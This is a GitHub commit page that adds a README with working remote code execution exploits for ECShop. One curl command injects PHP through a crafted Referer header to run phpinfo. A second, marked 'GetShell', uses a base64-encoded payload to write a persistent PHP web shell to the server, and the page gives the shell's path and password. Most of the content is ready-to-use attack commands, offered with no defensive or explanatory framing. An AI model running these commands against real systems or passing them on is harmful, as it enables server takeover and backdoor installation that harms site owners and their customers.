Skip to content

Commit

Permalink
ECShop <= 2.x/3.6.x/3.0.x RCE
Browse files Browse the repository at this point in the history
  • Loading branch information
root committed Sep 4, 2018
1 parent 483519e commit 2384f4e
Showing 1 changed file with 15 additions and 0 deletions.
15 changes: 15 additions & 0 deletions CMS/Ecshop/Ecshop_2.7.x_3.6.x_RCE/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
# ECShop <= 2.7.x/3.6.x RCE



## POC

```
curl http://xxx/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
```
## GetShell
```
curl http://xxx/ecshop/user.php -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
```

** Shell address : http://xxx/ecshop/vulnspy.php password : vulnspy **

0 comments on commit 2384f4e

Please sign in to comment.